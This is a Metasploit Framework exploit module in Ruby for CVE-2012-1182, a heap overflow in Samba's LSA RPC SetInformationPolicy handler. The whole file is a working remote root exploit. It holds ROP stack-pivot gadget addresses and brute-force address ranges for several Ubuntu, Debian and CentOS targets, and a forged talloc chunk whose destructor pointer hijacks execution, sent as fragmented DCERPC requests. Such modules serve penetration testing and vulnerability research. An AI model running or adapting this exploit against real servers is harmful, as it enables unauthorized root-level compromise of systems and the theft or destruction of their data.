##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB
	include Msf::Exploit::RopDb
	include Msf::Exploit::Brute

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
			'Description'    => %q{
					This module triggers a vulnerability in the LSA RPC service of the Samba daemon
				because of an error on the PIDL auto-generated code. Making a specially crafted
				call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
				trigger a heap overflow and finally execute arbitrary code with root privileges.

				The module uses brute force to guess the stackpivot/rop chain or the system()
				address and redirect flow there in order to bypass NX. The start and stop addresses
				for brute forcing have been calculated empirically. On the other hand the module
				provides the StartBrute and StopBrute which allow the user to configure his own
				addresses.
			},
			'Author'         =>
				[
					'Unknown', # Vulnerability discovery
					'blasty', # Exploit
					'mephos', # Metasploit module
					'sinn3r', # Metasploit module
					'juan vazquez' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['CVE', '2012-1182'],
					['OSVDB', '81303'],
					['BID', '52973'],
					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/']
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 600,
				},
			'Platform'      => ['unix', 'linux'],
			# smbd process is killed soon after being exploited, need fork with meterpreter
			'DefaultOptions' => { "PrependSetreuid" => true, "PrependSetregid" => true, "PrependFork" => true, "AppendExit" => true, "WfsDelay" => 5},
			'Targets'        =>
				[
					['2:3.5.11~dfsg-1ubuntu2 on Ubuntu Server 11.10',
						{
							'Arch' => ARCH_X86,
							'Offset' => 0x11c0,
							'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
							'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
							'Bruteforce' =>
								{
									'Start' => { 'libgcrypt_base' => 0xb67f1000 },
									'Stop'  => { 'libgcrypt_base' => 0xb69ef000 },
									'Step'  => 0x1000
								}
						}
					],
					['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.10',
						{
							'Arch' => ARCH_X86,
							'Offset' => 0x11c0,
							'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
							'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
							'Bruteforce' =>
								{
									'Start' => { 'libgcrypt_base' => 0xb68d9000 },
									'Stop'  => { 'libgcrypt_base' => 0xb6ad7000 },
									'Step'  => 0x1000
								}
						}
					],
					['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.04',
						{
							'Arch' => ARCH_X86,
							'Offset' => 0x11c0,
							'Ropname' => 'Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2',
							# when stack pivoting, we control dword [esi] (field "next" in talloc chunk), ecx and [esp+4] point to shellcode
							'Stackpivot' => 0x0006af03, # pop ecx ; jmp dword [esi]  in /lib/i386-linux-gnu/libgcrypt.so.11.6.0
							# we jump on "pop ecx, jmp dword [esi] to remove 4 bytes from the stack, then jump on pop esp.. gadget
							# to effectively stack pivot
							'Stackpivot_helper' => 0x00054e87, #pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret  ;
							'Bruteforce' =>
								{
									'Start' => { 'libgcrypt_base' => 0xb6973000 },
									'Stop'  => { 'libgcrypt_base' => 0xb6b71000 },
									'Step'  => 0x1000
								}
						}
					],
					# default version when installing 11.04 is 3.5.8 , 3.5.4 was PROPOSED on CD months before release date
					#['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
					#	{
					#		'Arch' => ARCH_CMD,
					#		'Offset' => 0x11c0,
					#		'Ropname' => 'Ubuntu 11.04 / 2:3.5.4~dfsg-1ubuntu8',
					#		'Stackpivot' => 0,
					#		'Bruteforce' =>
					#		{
					#			# The start should be 0x950 aligned, and then step 0x1000.
					#			'Start' => { 'Ret' => 0x00230950 },
					#			'Stop'  => { 'Ret' => 0x22a00950 },
					#			'Step'  => 0x1000
					#		}
					#	}
					#],
					['2:3.5.4~dfsg-1ubuntu8 on Ubuntu Server 10.10',
						{
							'Arch' => ARCH_X86,
							'Offset' => 0x11c0,
							'Ropname' => 'Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8',
							'Stackpivot' => 0x0003e4bc, #xchg eax, esp ; ret in libgcrypt.so.11.5.3
							'Bruteforce' =>
								{
									'Start' => { 'libgcrypt_base' => 0xb694f000 },
									'Stop'  => { 'libgcrypt_base' => 0xb6b4d000 },
									'Step'  => 0x1000
								}
						}
					],
					['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze',
						{
							'Arch' => ARCH_X86,
							'Offset' => 0x11c0,
							'Ropname' => 'Debian Squeeze / 2:3.5.6~dfsg-3squeeze6',
							'Stackpivot' => 0x0003e30c, #xchg eax, esp ; ret in libgcrypt.so.11.5.3
							'Bruteforce' =>
								{
									'Start' => { 'libgcrypt_base' => 0xb6962000 },
									'Stop'  => { 'libgcrypt_base' => 0xb6a61000 },
									'Step'  => 0x1000
								}
						}
					],
					['3.5.10-0.107.el5 on CentOS 5',
						{
							'Arch' => ARCH_X86,
							'Offset' => 0x11c0,
							'Ropname' => '3.5.10-0.107.el5 on CentOS 5',
							'Stackpivot' => 0x0006ad7e, #xchg eax, esp ; xchg eax, ebx ; add eax, 0xCB313435 ; or ecx, eax ; ret in libgcrypt.so.11.5.2
							'Bruteforce' =>
								{
									'Start' => { 'libgcrypt_base' => 0x0037c000 },
									'Stop'  => { 'libgcrypt_base' => 0x09e73000 },
									'Step'  => 0x1000
								}
						}
					]

				],
			'DisclosureDate' => 'Apr 10 2012',
			'DefaultTarget'  => 0
			))

		register_options([
			OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
			OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
		], self.class)

	end

	def exploit
		if target.bruteforce?
			bf = target.bruteforce

			if datastore['StartBrute'] and datastore['StartBrute'] > 0
				bf.start_addresses['libgcrypt_base'] = datastore['StartBrute']
			end

			if datastore['StopBrute'] and datastore['StopBrute'] > 0
				bf.stop_addresses['libgcrypt_base'] = datastore['StopBrute']
			end

			if bf.start_addresses['libgcrypt_base'] > bf.stop_addresses['libgcrypt_base']
				raise ArgumentError, "StartBrute should not be larger than StopBrute"
			end
		end
		super
	end

	def brute_exploit(target_addrs)
		print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['libgcrypt_base'])
		datastore['DCERPC::fake_bind_multi'] = false
		datastore['DCERPC::max_frag_size'] = 4248
		datastore['DCERPC::smb_pipeio'] = 'trans'
		datastore['DCERPC::ReadTimeout'] = 3

		pipe = "lsarpc"


		connect()
		smb_login()

		handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
		dcerpc_bind(handle)
		dcerpc.socket.mode = 'rw'
		# revert for other exploits
		datastore['DCERPC::smb_pipeio'] = 'rw'

		cmd = ";;;;" # padding
		helper = 0
		if target['Arch'] == ARCH_CMD
			cmd << "#{payload.encoded}\x00" # system argument
			tmp = cmd * (816/cmd.length)
			tmp << "\x00"*(816-tmp.length)
			ret_addr =  addr
		elsif target['Arch'] == ARCH_X86
			cmd << generate_rop_payload('samba', payload.encoded,{'target'=>target['Ropname'], 'base'=> target_addrs['libgcrypt_base'] })
			tmp = cmd
			tmp << "\x00"*(816-tmp.length)
			ret_addr = target_addrs['libgcrypt_base']+target['Stackpivot']
			# will help in stack pivot when it's not eax pointing to shellcode
			if target['Stackpivot_helper']
				helper = target_addrs['libgcrypt_base']+target['Stackpivot_helper']
			end
		end

		stub = "X" * 20

		stub << NDR.short(2)     # level
		stub << NDR.short(2)     # level 2
		stub << NDR.long(1)      # auditing mode
		stub << NDR.long(1)      # ptr
		stub << NDR.long(100000) # r-> count
		stub << NDR.long(20)     # array size
		stub << NDR.long(0)
		stub << NDR.long(100)
		stub << rand_text_alpha(target['Offset'])
		# Crafted talloc chunk
		#stub << 'A' * 8                       # next, prev
		stub << NDR.long(helper) + 'A'*4        # next, prev
		stub << NDR.long(0) + NDR.long(0)     # parent, child
		stub << NDR.long(0)                   # refs
		#		stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
		stub << NDR.long(ret_addr) # destructor # will become EIP
		stub << NDR.long(0)                   # name
		stub << "AAAA"                        # size
		stub << NDR.long(0xe8150c70)          # flags
		stub << "AAAABBBB"
		stub << tmp # pointer to tmp+4 in $esp
		stub << rand_text(32632)
		stub << rand_text(62000)

		begin
			call(dcerpc, 0x08, stub)
		rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
		rescue Rex::Proto::DCERPC::Exceptions::Fault
			print_error('Server is most likely patched...')
		rescue Timeout::Error
			print_status("Timeout")
		rescue Rex::Proto::SMB::Exceptions::LoginError
			print_status("Rex::Proto::SMB::Exceptions::LoginError")
		rescue => e
			if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
				print_status('Server disconnected, this is expected')
			end
		end
		handler()
		disconnect()
	end

	def check
		begin
			connect()
			smb_login()
			disconnect()

			version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
			minor   = version.scan(/\.(\d*)$/).flatten[0].to_i
			print_status("Version found: #{version}")

			return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
			return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
			return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4

			return Exploit::CheckCode::Safe

		rescue ::Exception
			return CheckCode::Unknown
		end
	end

	# Perform a DCE/RPC Function Call
	def call(dcerpc, function, data, do_recv = true)

		frag_size = data.length
		if dcerpc.options['frag_size']
			frag_size = dcerpc.options['frag_size']
		end
		object_id = ''
		if dcerpc.options['object_call']
			object_id = dcerpc.handle.uuid[0]
		end
		if options['random_object_id']
			object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
		end

		call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)
		call_packets.each { |packet|
			write(dcerpc, packet)
		}

		return true if not do_recv

		raw_response = ''

		begin
			raw_response = dcerpc.read()
		rescue ::EOFError
			raise Rex::Proto::DCERPC::Exceptions::NoResponse
		end

		if (raw_response == nil or raw_response.length == 0)
			raise Rex::Proto::DCERPC::Exceptions::NoResponse
		end


		dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)

		if dcerpc.last_response.type == 3
			e = Rex::Proto::DCERPC::Exceptions::Fault.new
			e.fault = dcerpc.last_response.status
			raise e
		end

		dcerpc.last_response.stub_data
	end

	# Used to create standard DCERPC REQUEST packet(s)
	def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')

		opnum = opnum.to_i
		size = size.to_i
		ctx   = ctx.to_i

		chunks, frags = [], []
		ptr = 0

		# Break the request into fragments of 'size' bytes
		while ptr < data.length
			chunks.push( data[ ptr, size ] )
			ptr += size
		end

		# Process requests with no stub data
		if chunks.length == 0
			frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )
			return frags
		end

		# Process requests with only one fragment
		if chunks.length == 1
			frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )
			return frags
		end

		# Create the first fragment of the request
		frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )

		# Create all of the middle fragments
		while chunks.length != 1
			frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )
		end

		# Create the last fragment of the request
		frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )

		return frags
	end

	# Write data to the underlying socket
	def write(dcerpc, data)
		dcerpc.socket.write(data)
		data.length
	end

end

